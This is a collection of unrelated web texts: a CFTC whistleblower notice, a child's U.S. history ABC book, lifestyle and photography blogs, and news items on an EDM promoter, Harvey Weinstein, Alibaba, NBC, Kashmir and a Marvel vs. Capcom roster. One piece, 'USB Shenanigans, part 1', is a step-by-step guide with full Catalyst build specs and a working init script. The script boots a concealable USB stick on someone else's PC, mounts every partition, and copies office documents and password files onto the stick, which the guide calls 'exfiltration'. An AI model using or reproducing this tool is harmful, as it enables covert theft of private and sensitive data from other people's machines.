A CFTC whistleblower can be anyone who voluntarily provides the CFTC with "original" information about a potential violation of the Commodity Exchange Act and is the first person to provide that information—subject to two principal exceptions. First, "original" information generally means independent information not already known to the CFTC or publicly available (i.e., not from an already existing or concluded court case or administrative hearing, from a government report, hearing audit, or investigation, or picked up from the news media). Second, some government employees, a person convicted of a criminal violation related to the subject of the fraud being reported, and persons who knowingly make false statements about the whistleblower matter are not eligible to act as whistleblowers.
Whistleblowers can provide reports to the CFTC anonymously. However, anonymous whistleblowers must provide some means of contact (such as a lawyer).
The CFTC's program also includes protections against retaliation for whistleblowers, including express prohibitions against retaliatory discharge, demotion, suspension, harassment, and discrimination.
If you have knowledge and solid evidence of fraud or manipulative practices related to futures markets, swap markets, and markets for derivatives and for foreign currencies, please contact our whistleblower attorneys. Consultations are free and confidential.


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S: My U.S History ABC Book
FC: My U.S History ABC Book
1: American System: Is based on and American school came to the ideas of Alexander Hamilton. And that it was advanced by the whig party with this picture stands for. | A
2: B | The Blockade: Now for the blockade in this picture it stays for when they cut off the communication area by force from geting to the other side.
3: Cotton Gin: The cotton Gin was a machine that was created by Eli Whitney which was to separate the fiber from the seeds, which was also done by hand. | C
4: D | diplomacy: diplomacy is the conducting between representives of groups or states which is to diplomats with regard to issues of peace-making,trade,and war.
5: E | Excise Tax: what you see in this picture is that the man is trying to pay the man to get his foot off him. So that is like when the people had to put taxes on produced goods with in the country.


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The change of seasons always motivates a fresh look at closets and storage. Last week I was at my daughter's home, where together we did a clean sweep of several areas. The biggest transformation came to her hearth room shelves.
On either side of the fireplace are two large shelving units. After they bought the home, the couple had the strange drawer/shelf configuration covered with doors. (I think the black cremone bolts added a nice vertical touch.)
The doors provided a safe haven for toys which were stuffed willy-nilly onto the shelves. That wouldn't have been such a bad thing, except the cupboards need to be open for optimal electronic effectiveness.
So, when company visited to watch a game or view a video, the chaos was on display. Hmm, my daughter thought this was a bit embarrassing. Consequently, our goal was to organize the shelving for public consumption.
We measured the shelves and went basket shopping. Michaels was having a half price on wicker boxes and they had the number and sizes we needed. Bingo!
What an amazing difference! Now company thinks my daughter is Wonder Woman. Truth be told, she is. :)


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The nation's biggest electronic dance music promoter fired back at the Los Angeles Times after the paper reported that several people have died after attending Insomniac Events and Go Ventures parties.
The L.A. promoter Insomniac argued that the paper's description of "deaths ... linked to Ecstasy or similar designer drugs ... tightly bound with raves" was part of a "mission to twist facts to suit their sensational story."
Extolling its EDM fans who "don't need drugs to have a wonderful, spiritual experience," Insomniac posted its response at ...
... 4:20 p.m. yesterday. Yeah! F--- you L.A. Times! We're $100-million-dollar rebels who now book pop stars like David Guetta, Tiesto and Avicii. Yeah!
So Insomniac is for drugs? Against drugs? (Scratches head). We're confused. After all, the promoter's name is about staying up, and we all know how ravers stay up (and go). (There was one EDM label years ago called Stay Up Forever).
Anyway, the Times detailed 14 mostly drug-related deaths of young people who had attended either Insomniac or Go Ventures events since 2006. Just the facts, man.
Insomniac says the paper "ignored" that it has an 18-and-older policy, prohibits drugs and has strict security.
Of course, its 18-and-older enforcement was in question even after the promoter announced it would shift from a 16-and-older policy following the 2010 death of 15-year-old raver Sasha Rodriguez, who sneaked into Insomniac's Electric Daisy Carnival and later suffered a fatal ecstasy overdose.
Security was also a serious issue at the 2010 EDC event, where video showed a crush of fans rushing a barrier at the Coliseum. (Keep in mind that the Times' list of deaths goes back to 2006).
Yeah, the promoter's response yesterday was high on spin, low on facts.
Calling the reporting an "attack" on Insomniac and saying ecstasy is a "global problem," the organization said:
... The LA Times treated the opinions of a few people as gospel, turned everyone who enjoys electronic music events into villains, and ignored anyone that did not agree with their biased opinion.
Again, reality is that the chief of Insomniac, Pasquale Rotella, refused to speak to the Times; so did the head of Go Ventures, Reza Gerami.
It's strange and perhaps a bit disingenuous for Insomniac to accuse the reporters of ignoring those who did not agree with them when it's principals refused to speak out when they had the chance.
The statement, a "call to action," asks fans to email and tweet at the Times' reporters who worked on the story. (We're jealous).
If you like this story, consider signing up for our email newsletters.
You have successfully signed up for your selected newsletter(s) - please keep an eye on your mailbox, we're movin' in!
Insomniac's statement sounds less like a refutation of facts (there are no corrections to be found -- not one) and more like a marketing tool.
EDM audiences still need to believe that the pop-dance festivals of today still represent a fist in the air aimed at the man, even as contemporary promoters have become that man.
Like we said, it was posted at 4:20. So rebellious.


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Monday, March 31, 2014
Scary Hairy!!
5 comments
My hair is a mess too. Have it done weekly, but by the 2nd or 3rd day, it's not so good. But I can't do a thing with it myself. Maybe this shampoo would help. Worth a try. Call me nosy, unless I missed it along the way. But worried about your not feeling well and taking RX for so long. What is the problem? If you don't want to share, that's ok too. Get well soon. EdnaReplyDeleteReplies
I've had some surgeries and treatments going on...so past 6-8 weeks have been rough. Hopefully in another month I will be back to normal..well as normal as I can possibly be LOL. Thx for asking!Delete
Just ordered the Full Shamoo and conditioner. Now that my hair is much longer it is harder to manage. Yes I love those pony tails. I will let you know how I like itReplyDeleteReplies
Hope you love it too!!! HUGS!Delete
I keep my hair short and it's so much easier to maintain. I, too, have one of those cowlicks that just doesn't want to stay put! I look like Alphalpha, one of the Rascals and it drives me nuts! Thanks for the heads up on the product and will look for it in Canada.ReplyDelete
Stay positive, Suzanne. All will work out in the end :)
Thanks so much for visiting me, I hope I made you smile or inspired you in some way! I appreciate you stopping by!


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Mother's Day caused me to think about my kids — about how I vowed not to leave them a crummy world. I don't know how to keep my vow when I see what's happening, and by that I mean the devastation of America's three-branch system of governance with its checks and balances. Since this year, the administrative branch consists of one bully, firing people who might tell the truth about him. This autocrat circumvents the congressional branch by using executive orders instead laws. And his stacking the courts is setting up generations of bias within the judicial branch. The gang in the White House (under Steve Bannon's vision of destruction) is wrecking our 200-year experiment in government "of the people, by the people, and for the people."
It's up to me, to all of us, to curb these abuses of power, but how? Today I was thinking, all we have left are "elections." While it's becoming apparent that even the elections can and have been corrupted, still this looks to me like our last hope. Or it's "game over," American democracy.
Leila Bruno


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AP Photo/Dave CaulkinRecently, a wave of sexual harassment and assault allegations against movie producer Harvey Weinstein have emerged through a series of investigations published by The New York Times and The New Yorker.
Following the reports, more and more women have spoken publicly about their experiences with Weinstein.
Most of these alleged encounters follow a similar pattern, of "business meetings" turning into a proposed massage, and hotel room sexual harassment or assault. These accusations start as early as the 1980s and include actresses, assistants, and other employees of Weinstein's companies.
With the catalog of alleged abuse growing, women like Gwyneth Paltrow, who accused Weinstein of touching her inappropriately in 1995, want to support women in similar situations by coming forward.
"We're at a point in time when women need to send a clear message that this is over," Paltrow told The New York Times. "This way of treating women ends now."
These are all the women who have come forward with accusations of Harvey Weinstein committing sexual harassment or assault, spanning decades.
Note: A handful of women told their stories anonymously—including one who described an alleged rape to The New Yorker—but we did not include those stories in this list.


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You are currently browsing the tag archive for the 'forget' tag.
Forgive and forget.
That's what they say.
It's good advice, but it's not good practical.
When someone hurts us…
We want to hurt them back.
When someone wrongs us, we want to be right.
Without forgiveness, old scores are never settled…
Old wounds never heal.
And the most we can hope for is that one day we'll be lucky enough to forget.


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The Smiling DBA
Archives: March 2013
PASS Business Analytics presents MVP Jessica Moss: Putting the Business Into Business Analytics
I saw Jessica Moss presenting at the PASS Summit a couple of years ago on Reporting Services. She has been an author to many books and has a good series on SQLServerCentral.com's Stairway series for Reporting Services.
Please join the PASS Business Analytics virtual chapter on April 4th at… Read more
0 comments, 971 reads
Posted in The Smiling DBA on 26 March 2013
PASS Data Arch VC presents Steve Hughes on Accounting for Windows Azure
I meet Steve this past November in Seattle at the PASS Summit. Reading his series on XMLA and Analysis Services help me understand more about SSAS. It was good to finally talk with this dude and get him to present to the Data Arch VC
0 comments, 614 reads
Posted in The Smiling DBA on 17 March 2013
Baton Rouge SQL Server User Group
Wednesday March 13th 2013, I have the pleasure in presenting to the local SQL Server User group in Baton Rouge, LA. The topic will be Attributes and Hierarchies in Analysis Services 2012. The flow will be from requirements gathering thru implementation in the Semantic Model.
My employer, Turner Industries,… Read more
0 comments, 703 reads
Posted in The Smiling DBA on 3 March 2013


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June 2, 2011 - Just a funny shot for today. This bear was at the Animal Habitat at Grandfather Mountain. I don't know if she was sticking her tongue out at me or doing her Rolling Stones impression :) Hope it gives you a chuckle. Have a great day!
Log In:
Excellent timing.
Fun shot!
lol! Love it!
Perfect end to a long week! Thanks!
Great timing :)
Made me smile :)....maybe even stuck my tongue out to see if mine was any where near as long.
LOL!! Great capture, love it!
Wow, look at that tongue!
Wow, what a tongue! Who knew they could get so long for a bear? :-)
I had no idea their tongues were this long! Great timing!


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Besides serving authentic food and serving with the true Goan hospitality what else do the members have to do? Give back to society as we live in a society. So besides helping the local farmer achieve his goals there is one more 'focus' that we need to work on… We learned that on the 5th June – World Environment Day.
Think…Eat…Save, the motto for this year made us sit down to 'think-strategize' how committed we are to the earth's dilemma. 'Think' when facts are given to us that on a specific day 8-10 tons of food waste is collected from the CCP from hotels and restaurants alone in Panjim. A day! Can you imagine what happens in a week? What about in a month? Astronomical figures…Think!
Of course we have to eat and feed our guests, but can be educate our staff to understand that even 10% of saving from all the eateries in Panjim would ensures 1 ton less waste per day and 30 tons less per month. Yes we are aware that many hotels do practice this as part of their Corporate Social Responsibility initiatives by giving food to the charitable institutions, hotels do believe that they cannot control the waste generated by guests who leave food behind in their plates, hotels have no control over peels of vegetables and fruits which are used on a day to day need. So what do we need to do?
We are happy to say that two of our Goan Culinary Club members won the 'Plaque of Excellence' for Best Environmental Practices for their initiative in minimizing food wastage… namely the Royal Orchid Beach Resort and Spa and the Hotel Fidalgo. We at the Goan Culinary Club aim to share a few best practices in this month hoping that other members (and non members) can initiate some of these practices and help us respect and sustain our beautiful planet.
We will take just two aspects in this article namely Procurement of perishables and unavoidable food wastage that help these Hotels achieve results.
Hotel Fidalgo – Procurement of perishables. It is right in the heart of the city, at a busy interaction where the number of restaurants 'buzz' till after midnight. How does Executive Chef Abhishek manage his procurement and not waste material? They have developed an inbuilt relationship which is been maintained with their vendors for fresh ingredients and utilize best practices to minimize wastage leading to optimum utilization: 1. Milk – Milk supply with Roopa cycle just a lane away. Mr. Gafur the vendor who supplies Goa Dairy milk does a four time delivery in a day. He personally observes the consumption on day to day basis. In addition they maintain a daily dairy consumption report where milk consumption is recorded on daily basis and is then compared to the sales. These practices help them maintain zero wastage target of milk waste. 2. Vegetable – As Goa does not produce all vegetables they have a tie up with a vegetable vendor agent in Belgaum who works on commission basis and he is responsible for procuring best vegetable produce for them which is then supplied three days a week as per their consumption demand. 3. Fruits – Fruits from Mapusa on daily basis to avoid any wastage. 4. Seafood – Procured from local vendors on daily basis, the seafood consumption is recorded on daily basis. Their target is to maintain zero wastage in fresh seafood buying cycle. In order to reduce wastage they promote seafood in all outlet with new concept like "1-on-1 Seafood festival".
Royal Orchid Beach Resort and Spa – Unavoidable Food wastage – set apart from the busy city, Chef Naveen has worked on the aspects of 'unavoidable food wastage' Here are some of the hotels initiatives. 1. Fruit Basket: Being a starred hotel the rooms need to have a complimentary fruit basket which at times are not utilized by the guest and cannot be used on the buffets. Leftover fruits from the fruit basket are used to make jams/preserves. 2. Vegetable Stock: Many preparations require the 'flavored' stock to be used for continental dishes. The vegetable trimmings are used to prepare the vegetable stock. 3. Turned Potatoes: Yes preparations do compel the chef to 'shape' and 'turn' potatoes that lead to wastage. The kitchen boils the potatoes and peels them before turning so that those extras can be used for potato hash. 4. Lemon peels: After squeezing off the juice for cooking purposes the lemon skins are re used to make pickles and for other cooking purposes based on the recipe where the rind is needed.
Kudos to our Goan Culinary Club members, yes the Club will take this project seriously and give back to our mother Earth what she richly deserves.
And if you think we are the 'smarter' generation let me give you a recipe of success so commonly used by our forefathers. Remember the rhyme…this little pig went to market, this little pig stayed at home, this little pig cried wee wee wee all the way home. Let us not cry in the future…..
Recipe for success –Chef Peter Fernandes of O Coqueiro shares this little bit of the past with us.
It was said that the local Goans in the past never wasted anything. Take the fact when a pig was slaughtered. Every part was consumed but many of these preparations perhaps are not even heard of today.
- - The trotters were prepared in a paya styled preparation.
- - The intestines and stomach mixed with a little Raechad masala and made into a preparation called buch.
- - The present recipe of liver, fat and boneless meat to make sorpotel-but in the past they would also use the ears, heart.
- - Pork with bones was made into a preparation called Aardmas.
- - The lard was used in cooking beef or chicken and also in sausages.
- - While the fried skin of the pork was also sold with the sausages


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Is Alibaba Making a Case for a Hong Kong IPO?
As Alibaba gears up for what could be the tech industry's biggest initial public offering since Facebook Inc.'s market debut last year, all eyes are on where it might list. And the company could go public either in Hong Kong or New York.
Whether the IPO will happen in Hong Kong largely depends on whether the city's stock exchange and securities regulator accept the company's request to let its "partners" — which include its founder and senior management — have control over the makeup of directors on its board.
On Tuesday, Alibaba's founder Jack Ma sent a letter to employees explaining what the partners are, and why he thinks it is important to let the partners have more power to determine the company's future. Alibaba shared the letter with the public through its account on Sina's Weibo microblog, the Chinese equivalent of Twitter.


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The future of NBC now rests on Jay Leno's 58-year-old shoulders.
NBC yesterday made it official: The network is giving Leno five hours of primetime (weeknights from 10 p.m. to 11 p.m.) next fall. It's the first time any TV star has been handed the responsibility for this many primetime hours on consecutive evenings.
True to form, America's favorite late-night comedian made light of the whole thing at a news conference in Burbank.
"Originally, I wasn't going to stay with NBC, but I remembered something my parents told me as a kid," said Leno, who was seated on a stage between Ben Silverman and Marc Graboff, co-chairmen of NBC Entertainment and Universal Media Studios. "They said, 'Whatever you do in life, always try to come in fourth'!"
Leno said the new show, tentatively titled "The Jay Leno Show," will incorporate some of the more popular elements from "The Tonight Show," including his nightly monologues and signature bits such as "Headlines" and "Jay Walking."
Leno's promotion from late-night to primetime means Conan O'Brien, 45, will not immediately become NBC's top comedy star, despite his elevation to host of the storied "Tonight Show." "This is a happy ending. It's very nice," O'Brien said in his "Late Night" monologue last night.


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Who Said:
Life is like photograph, You can't get best picture just by talking. You need to take an action, you need to press the shutter Husni Mubarak Zainal
In photography as with any form of drawing or art, composition, leading lines or arrangement of the visual elements can make or break a great body of work. Think of this as the 'arrangement of elements' and with all great images photography needs to follow these principles.
Leading lines can draw our eyes into the photograph, what within the picture captures our attention the most? It took me a while to understand these principles and still today before I click the shutter button I review the picture in my mind. What are these principles?
Lines shape and colours, let's look at these three design elements for a moment. We use lines to draw the viewer's attention to our subject by forcing them follow the lines in the image. I find lines the easiest to understand think about a road or pathways. Straight lines versus curved, which is more appealing? Both have a different use sometimes we have no control over the road or the pathway, it is not like we can change its layout. But we can relocate or change our position.
Shapes – are triangles more appealing, or are squares or circle? Triangles have three sides. Ya, I know you knew that, but look for odd numbers, three, five, seven. Your brain has an easier time organizing odd numbers and it's more appealing. When taking an image with 6 subjects break them down into two groups of three, odd numbers work better.
Colour – are we like the crows that steal shiny objects, normally the brightest object in your picture will attract the viewers attention, use leading line to assist the viewers eyes into the subject of the image. Example roads or path's that lead the view into the sunset
Watch as the 2 photo-nuts ramble on about the finer points of composition. Watch Clinton and Bob take pot-shots at each other.
Happy Shooting!
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September 2017 News
Rajnath Singh's Assurance Should Silence Noises Against Article 35A: Omar Abdullah11 September 2017
Srinagar: Former Jammu and Kashmir Chief Minister Omar Abdullah said today the assurance given by Union Home Minister Rajnath Singh should silence all the 'noises' against Article 35A of the Constitution. Singh, who is on a four-day visit to Jammu and Kashmir, told reporters that the government will not do anything that hurts the sentiments of the people of the state. He said the Centre had neither initiated any action nor gone to the court on the legal challenge to Article 35A, which bars people from outside Jammu and Kashmir to acquire immoveable property in the state. 'There is no reason for doubts or speculation on this issue. Unnecessarily an issue is being made out. Central government has not initiated any process on this issue, we have not gone to the court. I want to assure that - I am not talking about only Article 35A, whatever our government does, we will not do anything against the sentiments of the people here. We will continue to respect that,' Singh said. 'This is a very important statement from the Union Home Minister. His assurance will go a long way towards silencing the noises against 35-A,' Omar tweeted soon after Singh addressed a press conference here. On the legal challenge to Article 35A, Singh said the government will not do anything that hurts the sentiments of the people of the state. Omar said the Centre should file a counter affidavit in the Supreme Court to defend Article 35A. 'The Union government must now file a counter affidavit in the Supreme Court to defend 35-A. That is the way to carry this assurance forward,' he added.


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Oops: Capcom reveals entire Ultimate MvC3 roster
posted: 7/21/2011 10:59:00 AM
More On:
Ultimate Marvel vs. Capcom 3
Someone got a little too anxious over at Capcom HQ yesterday when they released the
Ultimate Marvel vs. Capcom 3
information; the initial batch of art that was sent out contained the character designs for all 12 additional characters, not just the 4 announced yesterday. As a result, we now know the entire lineup of characters heading to the game this November.
The roster will include:
Doctor Strange: The good Doctor made his first Marvel appearance way back in 1963 in issue #110 of Strange Tales. Considered to be one of the elite characters in the Marvel Universe, Doctor Strange possesses a mastery of magic and a reputation of being the strongest sorcerer in the universe.
Firebrand: Firebrand was originally featured as an enemy in the original Ghosts N Goblins game but later went on to star in his own series (Gargoyle's Quest) and has made various appearances in a few Capcom fighting games.
Frank West: The original Dead Rising hero is back at the behest of fans. After an incredible appearance in Tatsunoko vs. Capcom, Frank is back to show that he has the chops to hang in the fighting game world.
Ghost Rider: Johnny Blaze himself, the original Ghost Rider, made his Marvel debut back in 1972 in Marvel Spotlight #5. A former stunt daredevil, Ghost Rider is a tortured sole who was demonized by the evil Mephisto.
Hawkeye: Hawkeye originated in Marvel Comics' 1964 Tales of Suspense #57. Originally introduced as a villain for Iron Man, Hawkeye would go on to become a hero and join the forces of the Avengers after being recruited by Captain America.
Iron Fist: Iron Fist debuted in Marvel Comics' Marvel Premiere #15 in 1974. A skilled martial artist, Iron Fist spent his early years in comics operating on his own before forming some memorable partnerships with the likes of Daredevil, Luke Cage, and Power Man.
Nemesis: The ultimate Resident Evil bad guy finally emerges as a playable character. The mammoth creature is a bio-organic weapon created by the Umbrella Corporation who relentlessly pursues his targets.
Nova: Nova, originating in Nova #1 back in 1976, is a human who was selected to assume the role of Nova Prime prior to the death of alien Rhomann Dey. Using his newly gifted powers following Dey's death, nova went on to pursue life as a superhero in New York City.
Phoenix Wright: The loveable King of the Objection himself is finally making his way into MvC3 after being rumored since the game was originally announced. It will be interesting to see how the protagonist from the Phoenix Wright series plays out in a completely new genre.
Rocket Raccoon: What... never heard of him? Most people haven't but Rocket Raccoon has been around in the Marvel Universe since Marvel Preview #7 back in 1976. The character was created from inspiration obtained from the Beatles song Rocky Raccoon.
Strider Hiryu: The master of the blade is back as fans have been begging for Capcom to add the classic character back in the series. Strider made his debut way back in the 80's Capcom classic Strider and has been a staple character for company ever since.
Vergil: Dante's twin brother is the polar opposite of his brother. While Dante's embraces the good in life, Vergil ebraces total darkness and pure evil.
You can check out all of the character designs below as well as the official boxart for both versions of the game and a slew of screenshots of many of the new characters in action.
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USB Shenanigans, part 1
In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.
We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the Gentoo Handbook and install it on your PC before you read this.
Creating the Linux system
To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.
To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.
Portage snapshot
A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:
catalyst -s mpk.0
This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.
Creating the seed stage 3
We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.
We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.
Setting up the Catalyst environment
Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:
storedir="/data/catalyst" snapshot_cache="/data/catalyst/snapshot_cache"
Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.
We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:
=app-misc/livecd-tools-1.0.40 =sys-apps/hwsetup-1.2
These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.
We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.
Creating the seed stage 1
Write the following to a file named seed-stage1.spec:
subarch: i686 version_stamp: mpk.0 target: stage1 rel_type: default profile: default-linux/x86/2007.0 snapshot: mpk.0 source_subpath: default/stage3-i686-2007.0 portage_confdir: /data/catalyst/portage chost: i686-pc-linux-gnu cflags: -Os -pipe -fomit-frame-pointer cxxflags: -Os -pipe -fomit-frame-pointer
Build the up to date stage 1 tarball by running:
catalyst -v -f seed-stage1.spec
When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.
Creating the seed stage 2
Write the following to a file named seed-stage2.spec:
subarch: i686 version_stamp: mpk.0 target: stage2 rel_type: default profile: default-linux/x86/2007.0 snapshot: mpk.0 source_subpath: default/stage1-i686-mpk.0 portage_confdir: /data/catalyst/portage chost: i686-pc-linux-gnu cflags: -Os -pipe -fomit-frame-pointer cxxflags: -Os -pipe -fomit-frame-pointer
Build the up to date stage 2 tarball by running:
catalyst -v -f seed-stage2.spec
When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.
Creating the seed stage 3
Write the following to a file named seed-stage3.spec:
subarch: i686 version_stamp: mpk.0 target: stage3 rel_type: default profile: default-linux/x86/2007.0 snapshot: mpk.0 source_subpath: default/stage2-i686-mpk.0 portage_confdir: /data/catalyst/portage pkgcache_path: cflags: -Os -pipe -fomit-frame-pointer cxxflags: -Os -pipe -fomit-frame-pointer
Build the up to date stage 3 tarball by running:
catalyst -v -f seed-stage3.spec
When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.
Creating the LiveCD
Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.
Creating the LiveCD stage 1
Write the following to a file named liveusb-stage1.spec:
subarch: i686 version_stamp: mpk.0 target: livecd-stage1 rel_type: default profile: default-linux/x86/2007.0 snapshot: mpk.0 source_subpath: default/stage3-i686-mpk.0 portage_confdir: /data/catalyst/portage livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool
Build the LiveCD stage 1 by running:
catalyst -v -f liveusb-stage1.spec
In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.
Creating the LiveCD stage 2
Write the following to a file named liveusb-stage2.spec:
subarch:i686 version_stamp: mpk.0 target:livecd-stage2 rel_type:default profile: default-linux/x86/2007.0 snapshot: mpk.0 source_subpath:default/livecd-stage1-i686-mpk.0 portage_confdir:/data/catalyst/portage livecd/type:generic-livecd livecd/iso: /data/catalyst/livecd_shenanigans.iso livecd/motd:"Welcome to the USB Shenanigans drive" livecd/rcadd: search_partitions|default livecd/rcdel: spind|default livecd/root_overlay: /data/catalyst/overlay livecd/fstype: squashfs livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2 livecd/volid: Shenanigans Live CD livecd/gk_mainargs:
Build the LiveCD stage 2 by running:
catalyst -v -f liveusb-stage2.spec
Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.
The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.
The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.
When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.
Creating a LiveUSB image from the LiveCD iso
We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.
Preparing the Flash disk
We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:
mbr-install /dev/sda
Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.
Files neededFrom the iso generated by Catalyst, copy the following files to the root of your flash disk:
image.squashfs livecd isolinux/gentoo isolinux/gentoo.igz
Write the following to a file named syslinux.cfg at the root of your flash disk:
default gentoo timeout 0 prompt 1 label gentoo kernel gentoo append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs loop=/image.squashfs initrd=gentoo.igz
This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.
Shenanigans - Searching the local system
Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.
A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.
#!/sbin/runscript depend(){ need hdparm } start() { einfo "Searching filesystems" #tease the real root of the flash disk out of the mount command. cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"` ebegin "Opening $cdroot for exfiltration" #remount the flash drive as writeable so we can tar files into it mount $cdroot -o remount,rw eend $? cd /dev for partition in [hs]d[a-z][0-9] do if [ "/dev/$partition" != $cdroot ] then ebegin "Mounting /dev/$partition" mkdir -p /mnt/$partition mount /dev/$partition /mnt/$partition eend $? if [ $? = 0 ] then ebegin "Searching /mnt/$partition" find /mnt/$partition $findopts > /tmp/$partition.files tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files eend $? umount /mnt/$partition fi rmdir /mnt/$partition fi done ebegin "Flushing $cdroot" #put the flash drive back in read only mode so it gets flushed mount $cdroot -o remount,ro eend $? }
The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.


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About 6 weeks ago at a Conaf campsite above Cerro Castillo in Chile, we met an English couple who told us about a Canadian family travelling in the opposite direction who we would meet the following day. We didn't! We never saw them and we were left wondering what had happened to them? Had they found another route? We assumed we would never see them as we were going South and them North.
Amazingly, yesterday we pulled up at a supermarket in Villa la Angostura and were approached by Dan and Alice with Koby (6) and Ava Fei (4) in tow. They had crossed into Argentina at the end of the Careterra and we had flown North to almost exactly catch up with them. The bad weather had made them stop in the town and we just happened to cycle through as they went shopping. Coincidences are great!
We sat and had lunch with them for a few hours before leaving. It was nice to hear how they were doing it, with a tag-along bike for Ava Fei and an attachment that allowed them to pull a small bike with Koby on it that could be removed at the end of the day! Behind Koby they also had a Chariot trailer to carry luggage.
It would have been nice to have ridden with them for a while but we need to get to Santiago and time is gradually running out.


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Can you believe today is the first day of March already? Where did February go? I am sad that the months are flying by so quickly but also really looking forward to March. I have a lot of things planned for March, and today is a very exciting day for me. I am siting here, eating strawberries for breakfast and deciding what to wear for the Ed Sheeran Concert today. YES, you read that right. He is coming down to Mumbai today I am going to watch him live. I cannot fathom out the intensity of my excitement today. But, that's not what we are here to talk about today.
This week I shared a picture with my hair parted in the middle on my Instagram and absolutely loved the response from you guys, so I decided I should elaborate the details of the look here.
